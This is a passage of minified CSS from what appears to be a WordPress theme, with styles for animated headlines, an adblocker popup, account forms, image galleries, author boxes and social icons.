0;background-clip:border-box;-webkit-background-clip:border-box;-moz-text-fill-color:unset;-o-text-fill-color:unset;-webkit-text-fill-color:unset}.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete.style-gradient .dynamic-text .dynamic-text-letter{background:0 0;background-clip:border-box;-webkit-background-clip:border-box;-webkit-background-clip:border-box;-moz-text-fill-color:unset;-o-text-fill-color:unset;-webkit-text-fill-color:unset}.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete .dynamic-text .dynamic-text-letter{color:var(--pctext-cl)}.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-text-letter:not(.show-letter){display:none}.penci-animated-headline[data-style=rotating][data-rotate=swirl] .penci-animated-text .dynamic-wrapper{-webkit-transition:width .3s ease;transition:width .3s ease;overflow:hidden}.penci-animated-headline[data-style=rotating][data-rotate=swirl] .penci-animated-text .dynamic-text-letter{display:inline-block;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;-webkit-transform:translateZ(-20px) rotateX(90deg);transform:translateZ(-20px) rotateX(90deg);-webkit-backface-visibility:hidden;backface-visibility:hidden}.penci-animated-headline[data-style=rotating][data-rotate=swirl] .penci-animated-text .dynamic-text-letter.show-letter{-webkit-animation:pcani-swirl-in .4s forwards;animation:pcani-swirl-in .4s forwards}.penci-animated-headline[data-style=rotating][data-rotate=blinds]{-webkit-transition:width .3s ease;transition:width .3s ease}.penci-animated-headline[data-style=rotating][data-rotate=blinds] .penci-animated-text .dynamic-text-letter{-webkit-transform:rotateY(180deg);transform:rotateY(180deg);display:inline-block;-webkit-backface-visibility:hidden;backface-visibility:hidden}.penci-animated-headline[data-style=rotating][data-rotate=blinds] .penci-animated-text .dynamic-text-letter.show-letter{-webkit-animation:pcani-blinds-in .6s forwards;animation:pcani-blinds-in .6s forwards}.penci-animated-headline[data-style=rotating][data-rotate=wave]{-webkit-transition:width .3s ease;transition:width .3s ease}.penci-animated-headline[data-style=rotating][data-rotate=wave] .penci-animated-text .dynamic-text-letter{-webkit-transform:scale(0);transform:scale(0);display:inline-block;-webkit-backface-visibility:hidden;backface-visibility:hidden}.penci-animated-headline[data-style=rotating][data-rotate=wave] .penci-animated-text .dynamic-text-letter.show-letter{-webkit-animation:pcani-wave-up .3s forwards;animation:pcani-wave-up .3s forwards}.penci-animated-headline[data-style=rotating][data-rotate=flip] .penci-animated-text .dynamic-wrapper{-webkit-transition:width .3s ease;transition:width .3s ease;overflow:hidden}.penci-animated-headline[data-style=rotating][data-rotate=flip] .penci-animated-text .dynamic-text{-webkit-transform-origin:50% 100%;transform-origin:50% 100%;-webkit-transform:rotateX(180deg);transform:rotateX(180deg);position:relative}.penci-animated-headline[data-style=rotating][data-rotate=flip] .penci-animated-text .dynamic-text.show-text{position:relative;white-space:nowrap;-webkit-transform:rotateX(0);transform:rotateX(0);-webkit-animation:pcani-flip-in 1.2s;animation:pcani-flip-in 1.2s}.penci-animated-headline[data-style=rotating][data-rotate=flip] .penci-animated-text .dynamic-text:not(.show-text){display:inline-block;position:absolute;visibility:visible;-webkit-transform:rotateX(180deg);transform:rotateX(180deg);-webkit-animation:pcani-flip-out 1.2s;animation:pcani-flip-out 1.2s}.penci-animated-headline[data-style=rotating][data-rotate=drop-in] .penci-animated-text .dynamic-wrapper{-webkit-transition:width .3s ease;transition:width .3s ease;-webkit-perspective:300px;perspective:300px;overflow:hidden}.penci-animated-headline[data-style=rotating][data-rotate=drop-in] .penci-animated-text .dynamic-text{position:relative}.penci-animated-headline[data-style=rotating][data-rotate=drop-in] .penci-animated-text .dynamic-text.show-text{position:relative;white-space:nowrap;-webkit-animation:pcani-drop-in-in .6s;animation:pcani-drop-in-in .6s}.penci-animated-headline[data-style=rotating][data-rotate=drop-in] .penci-animated-text .dynamic-text:not(.show-text){display:inline-block;position:absolute;visibility:visible;-webkit-animation:pcani-drop-in-out .6s;animation:pcani-drop-in-out .6s}.penci-animated-headline[data-style=rotating][data-rotate=slide-left] .penci-animated-text .dynamic-wrapper{-webkit-transition:width .3s ease;transition:width .3s ease;overflow:hidden}.penci-animated-headline[data-style=rotating][data-rotate=slide-left] .penci-animated-text .dynamic-text.show-text{position:relative;white-space:nowrap;-webkit-animation:pcani-slide-left-in .6s;animation:pcani-slide-left-in .6s}.penci-animated-headline[data-style=rotating][data-rotate=slide-left] .penci-animated-text .dynamic-text:not(.show-text){display:inline-block;position:absolute;visibility:visible;-webkit-animation:pcani-slide-left-out .6s;animation:pcani-slide-left-out .6s}.penci-animated-headline[data-style=rotating][data-rotate=slide-right] .penci-animated-text .dynamic-wrapper{-webkit-transition:width .3s ease;transition:width .3s ease;overflow:hidden}.penci-animated-headline[data-style=rotating][data-rotate=slide-right] .penci-animated-text .dynamic-text.show-text{position:relative;white-space:nowrap;-webkit-animation:pcani-slide-right-in .6s;animation:pcani-slide-right-in .6s}.penci-animated-headline[data-style=rotating][data-rotate=slide-right] .penci-animated-text .dynamic-text:not(.show-text){display:inline-block;position:absolute;visibility:visible;-webkit-animation:pcani-slide-right-out .6s;animation:pcani-slide-right-out .6s}.penci-animated-headline[data-style=rotating][data-rotate=slide-up] .penci-animated-text .dynamic-wrapper{-webkit-transition:width .3s ease;transition:width .3s ease;overflow:hidden}.penci-animated-headline[data-style=rotating][data-rotate=slide-up] .penci-animated-text .dynamic-text.show-text{position:relative;white-space:nowrap;-webkit-animation:pcani-slide-up-in .6s;animation:pcani-slide-up-in .6s}.penci-animated-headline[data-style=rotating][data-rotate=slide-up] .penci-animated-text .dynamic-text:not(.show-text){display:inline-block;position:absolute;visibility:visible;-webkit-animation:pcani-slide-up-out .6s;animation:pcani-slide-up-out .6s}.penci-animated-headline[data-style=rotating][data-rotate=slide-down] .penci-animated-text .dynamic-wrapper{-webkit-transition:width .3s ease;transition:width .3s ease;overflow:hidden}.penci-animated-headline[data-style=rotating][data-rotate=slide-down] .penci-animated-text .dynamic-text.show-text{position:relative;white-space:nowrap;-webkit-animation:pcani-slide-down-in .6s;animation:pcani-slide-down-in .6s}.penci-animated-headline[data-style=rotating][data-rotate=slide-down] .penci-animated-text .dynamic-text:not(.show-text){display:inline-block;position:absolute;visibility:visible;-webkit-animation:pcani-slide-down-out .6s;animation:pcani-slide-down-out .6s}.penci-animated-headline[data-style=rotating][data-rotate=bounce] .penci-animated-text .dynamic-wrapper{-webkit-transition:width .3s ease;transition:width .3s ease;overflow:hidden}.penci-animated-headline[data-style=rotating][data-rotate=bounce] .penci-animated-text .dynamic-text.show-text{position:relative;white-space:nowrap;-webkit-animation:pcani-bounce-in .6s;animation:pcani-bounce-in .6s}.penci-animated-headline[data-style=rotating][data-rotate=bounce] .penci-animated-text .dynamic-text:not(.show-text){display:inline-block;position:absolute;visibility:visible;-webkit-animation:pcani-bounce-out .6s;animation:pcani-bounce-out .6s}.penci-animated-headline[data-style=rotating][data-rotate=swing] .penci-animated-text .dynamic-wrapper{-webkit-transition:width .3s ease;transition:width .3s ease;overflow:hidden}.penci-animated-headline[data-style=rotating][data-rotate=swing] .penci-animated-text .dynamic-text.show-text{position:relative;white-space:nowrap;-webkit-animation:pcani-swing-in .6s;animation:pcani-swing-in .6s}.penci-animated-headline[data-style=rotating][data-rotate=swing] .penci-animated-text .dynamic-text:not(.show-text){display:inline-block;position:absolute;visibility:visible;-webkit-animation:pcani-swing-out .6s;animation:pcani-swing-out .6s}.penci-animated-headline[data-style=rotating][data-rotate=rubber-band] .penci-animated-text .dynamic-wrapper{-webkit-transition:width .3s ease;transition:width .3s ease;overflow:hidden}.penci-animated-headline[data-style=rotating][data-rotate=rubber-band] .penci-animated-text .dynamic-text.show-text{position:relative;white-space:nowrap;-webkit-animation:pcani-rubber-band-in .6s;animation:pcani-rubber-band-in .6s}.penci-animated-headline[data-style=rotating][data-rotate=rubber-band] .penci-animated-text .dynamic-text:not(.show-text){display:inline-block;position:absolute;visibility:visible;-webkit-animation:pcani-rubber-band-out .6s;animation:pcani-rubber-band-out .6s}.penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper{overflow:hidden;text-align:left}.penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper:after{content:"";position:absolute;left:auto;right:0;top:0;height:100%;width:2px;background-color:var(--pctext-cl)}.penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-text.show-text{white-space:nowrap}.penci-adblocker-popup-container{max-width:550px;padding:60px;background:var(--pcbg-cl);margin:0 auto;text-align:center}.penci-adblocker-popup-container .penci-adblocker-adblock-icon{font-size:50px;color:red}.penci-adblocker-popup-container h2{margin:15px 0;font-size:24px}.penci-adblocker-popup-container .penci-adblock-message{font-size:16px;line-height:1.4}.penci-adblocker-popup-container .mfp-close{position:static;width:auto;font-size:14px;padding:0;margin:15px auto 0;height:auto;line-height:unset}.pcac_page_container{display:flex;flex-wrap:wrap;flex-direction:row}.pcac_page_container.full{display:block}.pcac_page_container .pcac_page_left{min-width:270px;margin-right:60px}body.rtl .pcac_page_container .pcac_page_left{margin-right:0;margin-left:60px}.pcac_page_container .pcac_author_info{border:1px solid var(--pcborder-cl);padding:30px;text-align:center}.pcac_page_container .pcac_author_info .avatar{border-radius:50%}.pcac_page_container .pcac_account_nav,.pcac_page_container .pcac_author_content{margin-top:15px}.pcac_page_container .pcac_account_nav{border-top:1px solid var(--pcborder-cl);padding-top:15px}.pcac_page_container .pcac_account_nav li{margin:0 0 10px}.pcac_page_container .pcac_account_nav li a{color:var(--pcheading-cl)}.pcac_page_container .pcac_account_nav li a:hover{color:var(--pcaccent-cl)}.pcac_page_container .pcac_account_nav li.active a{color:var(--pcaccent-cl);font-weight:700}.pcac_page_container .pcac_page_right{width:calc(100% - 360px)}.pcac_page_container .pcac_account_title{font-size:22px;margin:0 0 30px;padding:0 0 30px;border-bottom:1px solid var(--pcborder-cl)}.pcac_page_container .form-group{margin-bottom:30px}.pcac_page_container .form-group>label{display:inline-block;margin:0 0 15px;font-size:14px;font-weight:700}.pcac_page_container .form-group .required{color:red}.pcac_page_container .form-group input,.pcac_page_container .form-group select,.penci-sidebar-content .form-group input,.penci-sidebar-content .form-group select,.penci_post_list_filter select{display:block;border:1px solid var(--pcborder-cl);padding:0 10px;line-height:40px;transition:.25s ease;box-shadow:none;outline:0;background:#fff}.penci_post_list_filter select{padding:0 20px}.pcac_page_container .form-group select,.penci-sidebar-content .form-group select,.penci_post_list_filter select{height:40px;background:0 0}.pcac_page_container .form-group input:not([type=submit]):focus,.pcac_page_container .form-group select:focus,.pcac_page_container .form-group textarea:focus{border-color:#666;box-shadow:inset 0 1px 1px rgba(0,0,0,.025)}.pcac_page_container .form-group input[type=submit],.penci-sidebar-content .form-group input[type=submit]{background:var(--pcaccent-cl);color:#fff;font-weight:700;font-size:14px;cursor:pointer;border:0;outline:0;padding:0 20px;width:auto}.pcac_page_container .form-group input[type=submit]:hover,.penci-sidebar-content .form-group input[type=submit]:hover{opacity:.7}.pcac_page_container.full .form-group input{width:100%}.pcac_page_container.full .title-field input{font-size:18px;font-weight:700}.pcac_page_container .row{margin-right:-15px;margin-left:-15px}.pcac_page_container .pccol_1,.pcac_page_container .pccol_2{width:50%;float:left;position:relative;min-height:1px;padding-right:15px;padding-left:15px}body.rtl .pcac_page_container .pccol_1,body.rtl .pcac_page_container .pccol_2{float:right}.pcac_page_container .pccol_1{width:100%}.pcac_page_container .pccol_1 h3{border-bottom:1px solid var(--pcborder-cl);padding-bottom:30px;margin-bottom:30px}.pcac_page_container .pccol_1 input,.pcac_page_container .pccol_1 select,.pcac_page_container .pccol_2 input,.pcac_page_container .pccol_2 select{width:100%}.pcac_page_container .alert{padding-left:15px;margin-bottom:15px;line-height:40px;font-size:14px;text-align:center;font-weight:500}.pcac_page_container .alert-error{background:red;color:#fff}.pcac_page_container .alert-success{background:#dcffb4;color:#595959}.pcac_page_container .alert-compatibility{background:#fff5f6;position:absolute;top:0;opacity:0;visibility:hidden;width:auto;border-radius:0;text-align:center}.penci-sidebar-content .form-group:not(.submit-field):not(.format-field){border:1px solid var(--pcborder-cl);padding:30px;margin-bottom:30px;background-color:#f9f9f9}.penci-sidebar-content .form-group.format-field .form-input-wrapper{border:1px solid var(--pcborder-cl);padding:30px;margin-bottom:30px;background-color:#f9f9f9}.penci-sidebar-content .form-group label{display:block;font-weight:700;margin-bottom:10px}.penci-sidebar-content .form-group input,.penci-sidebar-content .form-group select{width:100%}.penci-post-tablist{list-style:none}.penci-post-tablist li{display:inline-block}.penci-post-tablist li a{display:inline-block;padding:10px 15px;border:1px solid var(--pcborder-cl);border-bottom:0;color:var(--pcheading-cl);position:relative;top:1px;font-weight:700;font-size:14px}.penci-post-tablist li a.active{background-color:#f9f9f9;color:var(--pcaccent-cl)}.pcft-posteditor .format-field .form-input-wrapper input{display:none}.pcft-posteditor .penci_upload_wrapper:not(.active){display:none}.penci_post_list_meta{display:flex;flex-wrap:wrap;flex-direction:row;justify-content:space-between;border-bottom:1px solid var(--pcborder-cl);padding-bottom:30px;margin-bottom:30px;align-items:center}.pcac_page_container .penci-pagination{margin-top:30px}.frontend-submit-button{margin:30px -25px -25px}.frontend-submit-button .button{display:block;padding:15px 20px;background:var(--pcaccent-cl);font-weight:700;color:#fff;transition:.2s}.frontend-submit-button .button:hover{opacity:.7}@media only screen and (max-width:767px){.pcac_page_container .pcac_page_left,.pcac_page_container .pcac_page_right{width:100%}.pcac_page_container .pcac_page_left{margin-right:0;margin-bottom:30px}}.pcac_page_container .upload_preview_container{margin:0 0 30px;position:relative;max-width:80px}.pcac_page_container .upload_preview_container .remove{position:absolute;top:0;left:0;right:0;z-index:9;cursor:pointer;bottom:0;display:flex;justify-content:center;align-items:center}.pcac_page_container .upload_preview_container img{border-radius:50%;max-height:80px;width:auto}.pcac_page_container .penci-upload-img-btn{display:inline-block;padding:0 10px;line-height:30px;background-color:var(--pcheading-cl);color:var(--pcbg-cl);cursor:pointer;transition:.3s all}.pcac_page_container .penci-upload-img-btn:hover{opacity:.8}.penci_post_status.Pending{color:#c09853;font-weight:700}.penci_post_status.Published{color:var(--pcaccent-cl);font-weight:700}body.rtl .penci_account_posts .pcsl-inner .pcsl-content{padding:0 var(--pcsl-between)}.penci_account_posts .pcsl-inner .sl-date{display:inline-block}.archive-box.pc-has-sorter,body.pc-has-sorter .archive-box{display:flex;justify-content:space-between;align-items:center;margin-left:auto;margin-right:auto;max-width:100%;align-items:start}.penci_gsr_wrapper .gsst_b{padding:0 5px}.penci_gsr_wrapper table.gsc-search-box td{vertical-align:middle}.penci_gsr_wrapper .gsc-input{padding:0;line-height:31px}.penci_gsr_wrapper .gsc-search-button-v2{height:42px;line-height:42px;padding:6px 27px}.penci_gsr_wrapper .gsc-search-button-v2 svg{width:15px;height:15px}.penci_gsr_wrapper .gsib_a{padding:5px 15px 4px 15px}.penci_gsr_wrapper .gscb_a{line-height:36px}.penci-patreon-badge-wrap{text-align:center}.penci-patreon-badge-wrap .button{display:block;background:#ff424d;font-weight:700;font-size:14px;border-radius:100px;padding:12px 5px;margin-top:20px;text-decoration:none}.penci-patreon-badge-wrap .button:hover{background:#ff424d;text-decoration:none;color:#000}.penci-patreon-badge-wrap svg{height:5rem;width:5rem;display:inline-block;margin:10px auto}.penci-patreon-badge-wrap svg [data-color="1"]{fill:#ff424d}.penci-patreon-badge-wrap svg [data-color="2"]{fill:#241e12}.widget .penci-buymeacoffee-badge-wrap{text-align:center}.widget .penci-buymeacoffee-badge-wrap a.button{display:block;background:#fd0;font-weight:700;font-size:14px;color:#000;border-radius:100px;padding:12px 5px;margin-top:20px;text-decoration:none;transition:.3s all ease-in-out}.widget .penci-buymeacoffee-badge-wrap a.button:hover{background:#000;color:#fd0;text-decoration:none}.widget .penci-buymeacoffee-badge-wrap svg{height:6rem;width:6rem;display:inline-block;margin:10px auto}.cancel-off-png,.cancel-on-png,.star-half-png,.star-off-png,.star-on-png{font-size:1.8em}@font-face{font-family:raty;font-style:normal;font-weight:400;src:url(fonts/raty.eot);src:url(fonts/raty.eot?#iefix) format("embedded-opentype");src:url(fonts/raty.svg#raty) format("svg");src:url(fonts/raty.ttf) format("truetype");src:url(fonts/raty.woff) format("woff")}.cancel-off-png,.cancel-on-png,.star-half-png,.star-off-png,.star-on-png{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-family:raty;font-style:normal;font-variant:normal;font-weight:400;line-height:1;speak:none;text-transform:none}.cancel-on-png:before{content:"\e600"}.cancel-off-png:before{content:"\e601"}.star-on-png:before{content:"\f005"}.star-off-png:before{content:"\f006"}.star-half-png:before{content:"\f123"}.thecomment .comment-text .penci-review-author span.author,.thecomment .comment-text .penci-review-author span.author a,.thecomment .comment-text .penci-review-author span.date{display:inline-block;margin:0;text-transform:none}.thecomment .comment-text .penci-review-author span.author{margin-right:5px;font-size:14px}.thecomment .comment-text .penci-review-author span.author a{font-size:inherit}.penci-review-summary .pccm_rating_title,.penci-review-summary .review_rated{display:inline-block;margin:0}.penci-review-summary .review_rated{font-size:7px;color:#ffb900;margin-right:5px}.pcgl-thumb-slider:not(.slick-initialized){margin-left:-5px;margin-right:-5px}.pcgl-thumb-slider .pcgl-thumb-item{padding:0 5px;cursor:pointer;width:100px}.pcgl-thumb-slider .swiper-wrapper{justify-content:center}.pcgl-thumb-slider:not(.slick-initialized){white-space:nowrap;overflow:hidden}.pcgl-thumb-slider:not(.slick-initialized) .pcgl-thumb-item{opacity:0;transition:.3s all ease-in-out}.pcgl-thumb-slider[data-cols="2"]:not(.slick-initialized) .pcgl-thumb-item{width:50%}.pcgl-thumb-slider[data-cols="4"]:not(.slick-initialized) .pcgl-thumb-item{width:25%}.pcgl-thumb-slider[data-cols="5"]:not(.slick-initialized) .pcgl-thumb-item{width:20%}.pcgl-thumb-slider[data-cols="6"]:not(.slick-initialized) .pcgl-thumb-item{width:calc(100% / 6)}.penci-slick-carousel.pcthumb-s-msl:not(.slick-initialized) figure:not(:first-child){display:none}.penci-slick-carousel.pcthumb-s-msl figure{margin:0 auto;vertical-align:top;padding:15px 15px 0}.penci-image-gallery-thumbnail-slider{background:#111;overflow:hidden}.elementor-widget-penci-image-gallery .penci-image-gallery-thumbnail-slider{padding:0}.pcgl-thumb-slider.swiper{padding:10px;border-bottom:1px solid #222}.pcgl-thumb-slider .penci-image-holder{outline:solid 3px rgba(255,255,255,.5);outline-offset:-3px;min-height:80px}.pcgl-thumb-slider .swiper-slide-thumb-active .penci-image-holder{outline:solid 3px #fff}.penci-image-gallery-3d{--item:180px;--pd:30px;margin:0 auto;padding-top:var(--pd);height:calc(var(--item) * 2 + var(--pd))}@media only screen and (max-width:767px){.penci-image-gallery-3d{--item:140px;--pd:15px}}.inner-gallery-3d-container{margin:auto;width:var(--item);perspective:var(--pcctain);position:relative;padding-top:var(--pd)}.pcgallery-3d-wrap{width:100%;position:absolute;float:right;animation:pcgallery-3d 15s infinite linear;transform-style:preserve-3d}.pcgallery-3d-wrap:hover{animation-play-state:paused;cursor:pointer}.pcgallery-3d-wrap .penci-gallery-ite{width:100%;height:var(--item);border:1px solid var(--pcborder-cl);overflow:hidden;position:absolute}.pcgallery-3d-wrap .penci-gallery-ite:nth-child(1){transform:rotateY(0) translateZ(300px)}.pcgallery-3d-wrap .penci-gallery-ite:nth-child(2){transform:rotateY(40deg) translateZ(300px)}.pcgallery-3d-wrap .penci-gallery-ite:nth-child(3){transform:rotateY(80deg) translateZ(300px)}.pcgallery-3d-wrap .penci-gallery-ite:nth-child(4){transform:rotateY(120deg) translateZ(300px)}.pcgallery-3d-wrap .penci-gallery-ite:nth-child(5){transform:rotateY(160deg) translateZ(300px)}.pcgallery-3d-wrap .penci-gallery-ite:nth-child(6){transform:rotateY(200deg) translateZ(300px)}.pcgallery-3d-wrap .penci-gallery-ite:nth-child(7){transform:rotateY(240deg) translateZ(300px)}.pcgallery-3d-wrap .penci-gallery-ite:nth-child(8){transform:rotateY(280deg) translateZ(300px)}.pcgallery-3d-wrap .penci-gallery-ite:nth-child(9){transform:rotateY(320deg) translateZ(300px)}.pcgallery-3d-wrap .penci-gallery-ite:nth-child(10){transform:rotateY(360deg) translateZ(300px)}.pcgallery-3d-wrap .penci-gallery-ite{position:absolute;box-shadow:0 13px 20px 3px rgba(55,55,55,.1);border-radius:1px;opacity:1}.pcgallery-3d-wrap .penci-gallery-ite img{image-rendering:auto;transition:all .3s;width:100%;height:100%}.pcgallery-3d-wrap .penci-gallery-ite img:hover{transform:scale(1.2);transition:all .3s}@keyframes pcgallery-3d{from{transform:rotateY(0)}to{transform:rotateY(360deg)}}.penci-slick-carousel-top-nav{color:#fff;display:flex;flex-direction:row;flex-wrap:wrap;justify-content:center;padding:15px 10px 0;align-items:center}.pcslick-title-area h5{color:#fff;margin:0}.pcslick-nav button{padding:0 5px;margin:0;font-size:16px;background:0 0;vertical-align:middle;line-height:1}.pcslick-nav-area{display:flex;flex-direction:row-reverse;align-items:center}.pcslick-nav{margin:0 0 0 10px;line-height:0}.slider-num{font-size:13px;font-weight:700}.elementor-widget-penci-image-gallery .penci-post-gallery-container.thumbnail-slider{margin-bottom:0}.author-url .avatar,.grid-post-box-meta img.avatar,.penci-grid li .item .author-url .avatar,.penci-masonry .item-masonry a .author-url .avatar{vertical-align:middle;border-radius:var(--pcava_bdr);display:inline-block;width:22px;height:auto;margin:0}.author-url .author-a-name,.grid-post-box-meta .author-a-name{font-weight:inherit;margin-left:5px}#penci-header-bookmark a:hover{color:var(--pcaccent-cl)}.penci-font-changer{font-weight:700;position:relative}.penci-fchanger-pcontent{background:var(--pcbg-cl);border:1px solid var(--pcborder-cl);border-radius:2px;padding:10px;position:relative;box-shadow:0 10px 15px -3px rgba(0,0,0,.1),0 10px 15px -3px rgba(0,0,0,.1)}.penci-fcpopup-ct-wrapper{position:absolute;top:100%;width:160px;transform:translateX(-50%);left:50%;display:none;z-index:99999;padding:10px 0 0}.penci-fchanger-pcontent:after{content:"";position:absolute;border-style:solid;border-width:0 5px 5px 5px;border-color:transparent transparent var(--pcbg-cl) transparent;top:-5px;left:50%;right:50%;margin-left:-2.5px;z-index:5}.penci-fchanger-pcontent:before{content:"";position:absolute;border-style:solid;border-width:0 7px 7px 7px;border-color:transparent transparent var(--pcborder-cl) transparent;top:-7px;left:50%;right:50%;margin-left:-4px;z-index:4}.penci-fchanger-pcontent .penci-font-changer-reset{color:var(--pctext-cl);font-size:12px;font-weight:400;display:block;margin:5px 0 0;cursor:pointer}.standard-post-special_wrapper .penci-fchanger-pcontent:after{content:"";position:absolute;border-style:solid;border-width:5px 5px 0 5px;border-color:#fff transparent transparent transparent;top:auto;bottom:-5px;left:50%;right:50%;margin-left:-2.5px}.standard-post-special_wrapper .penci-fchanger-pcontent:before{content:"";position:absolute;border-style:solid;border-width:7px 7px 0 7px;border-color:transparent transparent var(--pcborder-cl) transparent;top:auto;bottom:-7px;left:50%;right:50%;margin-left:-4px;z-index:4}.penci-font-changer-popup.active .penci-fcpopup-ct-wrapper{display:block}.standard-post-special_wrapper .penci-fcpopup-ct-wrapper{top:auto;bottom:100%;padding:0 0 10px}.penci-font-changer-popup{position:relative;display:inline-block;text-align:center}.header-standard .post-box-meta-single .penci-font-changer span{cursor:pointer;color:inherit;margin:0 5px;display:inline-block;opacity:.7;transition:all .3s ease-in-out;outline:0}.header-standard .post-box-meta-single .penci-font-changer span:focus{opacity:1}.header-standard .post-box-meta-single .penci-font-changer span:hover{color:var(--pcaccent-cl)}.header-standard .post-box-meta-single .penci-font-changer .pcf-changer-smaller{font-size:12px}.header-standard .post-box-meta-single .penci-font-changer .pcf-changer-larer{font-size:16px}.penci-header-wrap{position:relative;z-index:999}.penci-header-wrap .pcscrollbar{position:absolute;bottom:-1px;left:0;right:0;height:5px;background-color:var(--pcaccent-cl);z-index:999;width:0;opacity:0;visibility:hidden;transition:opacity .3s,visibility .3s}.penci-header-wrap .pcscrollbar.active{opacity:1;visibility:visible}.penci-header-wrap .pcscrollbar span{display:none}.slider-container{display:inline-block;vertical-align:middle;position:relative;top:0}.slider-container .back-bar{height:10px;position:relative}.slider-container .back-bar .selected-bar{position:absolute;height:100%}.slider-container .back-bar .pointer{position:absolute;width:10px;height:10px;background-color:var(--pcmeta-cl);cursor:col-resize;opacity:1;z-index:2}.slider-container .back-bar .pointer.last-active{z-index:3}.slider-container .back-bar .pointer-label{position:absolute;top:-17px;font-size:10px;white-space:nowrap;line-height:1}.penci-single-style-10 .slider-container .back-bar .pointer-label,.penci-single-style-13 .slider-container .back-bar .pointer-label,.standard-post-special_wrapper .slider-container .back-bar .pointer-label{color:#fff}.slider-container .back-bar .focused{z-index:10}.slider-container .clickable-dummy{cursor:pointer;position:absolute;width:100%;height:100%;z-index:1}.slider-container .scale{top:2px;position:relative}.slider-container .scale span{position:absolute;height:5px;border-left:1px solid #999;font-size:0}.slider-container .scale ins{font-size:9px;text-decoration:none;position:absolute;left:0;top:5px;color:#999;line-height:1}.slider-container.slider-readonly .clickable-dummy,.slider-container.slider-readonly .pointer{cursor:auto}.penci-fs-slider .back-bar{height:5px;border-radius:2px;background-color:#eee}.pcdark-mode.pcdm-enable .penci-fs-slider .back-bar{background-color:#333}.penci-fs-slider .back-bar .selected-bar{background-color:var(--pcaccent-cl)}.penci-fs-slider .back-bar .pointer{width:14px;height:14px;top:-5px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border-radius:10px;background-color:var(--pcaccent-cl)}.penci-fs-slider .back-bar .pointer-label,.penci-fs-slider .scale ins{color:var(--pctext-cl)}.penci-fs-slider .back-bar .focused{color:var(--pcheading-cl)}.penci-fs-slider .scale span{border-left:1px solid var(--pcborder-cl)}.post-author.abio-style-5{padding:30px;margin-top:30px;border:1px solid var(--pcborder-cl);border-bottom:none!important}.post-author.abio-style-5 .bio-social{margin:30px -35px -30px;padding:20px 30px;border-top:1px solid var(--pcborder-cl);clear:both}body.archive.author .post-author.abio-style-5{border-bottom:1px solid var(--pcborder-cl)!important}.post-author.abio-style-5 .author-content:after{content:"";display:table;clear:both}.post-author.abio-style-5 .bio-social>a{margin-left:5px;margin-right:5px;color:var(--pctext-cl)}.post-author.abio-style-5 .bio-social>a:hover{color:var(--pcaccent-cl)}.author-top-tabs{clear:both;margin:-30px -40px 30px;padding:0;border-bottom:1px solid var(--pcborder-cl)}.author-top-tabs ul{display:flex;flex-wrap:wrap;flex-direction:row;justify-content:space-between}.author-top-tabs ul li{width:50%}.author-top-tabs ul li a{display:block;padding:20px 10px;text-align:center;position:relative;font-family:var(--pchead-font);font-weight:var(--pchead-wei)}.author-top-tabs ul li:first-child{border-right:1px solid var(--pcborder-cl)}.author-top-tabs ul li a:before{position:absolute;top:0;left:0;right:0;height:5px;background:0 0;content:"";z-index:9}.author-top-tabs ul li a.active:before{background:var(--pcaccent-cl)}.post-related-author{border:0;padding:0}.author-tab-content{display:none}.author-tab-content.active{display:block}.author-tab-content .penci-ilrelated-posts{margin:0;padding:0;border:0}@media only screen and (max-width:767px){.post-author.abio-style-5 .author-img{max-width:70px;display:block;margin-left:auto;margin-right:auto;float:none}.post-author.abio-style-5 .author-content{text-align:center;margin:15px auto 0}.post-author.abio-style-5 .bio-social{text-align:center}}.pccsi-img,.pccsi-svg{vertical-align:middle!important;line-height:100%;display:inline-flex!important;align-items:center;justify-content:center}.elementor .pccsi-img img,.pccsi-img img{max-width:17px;height:auto}.pccsi-svg svg path{transition:all .3s}.elementor .pccsi-svg svg,.pccsi-svg svg{width:12px;height:auto}.header-social a:hover svg path,.main-nav-social a:hover svg path{fill:var(--pcaccent-cl)}.pcsoccl-brandtext i.pccsi-svg svg path,.penci-social-textcolored a i.pccsi-svg svg path{fill:var(--pcci,var(--pcaccent-cl))}#header .inner-header-social .penci-faicon.penciicon-x-twitter,.footer-socials .penci-faicon.penciicon-line,.footer-socials .penci-faicon.penciicon-viber,.footer-socials .penci-faicon.penciicon-x-twitter,.header-style-header-1 .main-nav-social .penci-faicon.penciicon-x-twitter,.pcnew-share.penci-icon-full .post-share-item .penci-faicon.penciicon-x-twitter,.pcsoc-icon.pcsoci-twitter .penci-faicon.penciicon-x-twitter,.penci-builder-element .penci-faicon.penciicon-x-twitter,.penci-social-colored .penci-faicon.penciicon-line,.penci-social-colored .penci-faicon.penciicon-viber,.penci-social-colored .penci-faicon.penciicon-x-twitter,.penci-social-square .penci-faicon.penciicon-line,.penci-social-square .penci-faicon.penciicon-viber,.penci-social-square .penci-faicon.penciicon-x-twitter,.penci-team_member_socails .penci-faicon.penciicon-x-twitter,.show-txt.focus-icon .post-share-item .penci-faicon.penciicon-x-twitter,.single-product-share .new-ver-share .penci-faicon.penciicon-line,.single-product-share .new-ver-share .penci-faicon.penciicon-viber,.single-product-share .new-ver-share .penci-faicon.penciicon-x-twitter{transform:translateY(0)}.single-post-share.tags-share-box-s1 .penci-faicon.penciicon-line,.single-post-share.tags-share-box-s1 .penci-faicon.penciicon-viber,.single-post-share.tags-share-box-s1 .penci-faicon.penciicon-x-twitter{transform:translateY(2px)}body:not(.penci-disable-desc-collapse) .penci-category-description{position:relative;max-height:120px;overflow:hidden}body:not(.penci-disable-desc-collapse) .penci-category-description.active{max-height:99999px}.penci-category-description .penci-category-description-button{position:absolute;bottom:0;left:0;right:0}.penci-category-description-button:before{content:"";position:absolute;inset-inline:0;bottom:0;z-index:10;height:80px;background:linear-gradient(to bottom,transparent 0,currentColor 40px);color:var(--pcbg-cl);z-index:1}.penci-category-description.active .penci-category-description-button:before{display:none}.penci-category-description-button 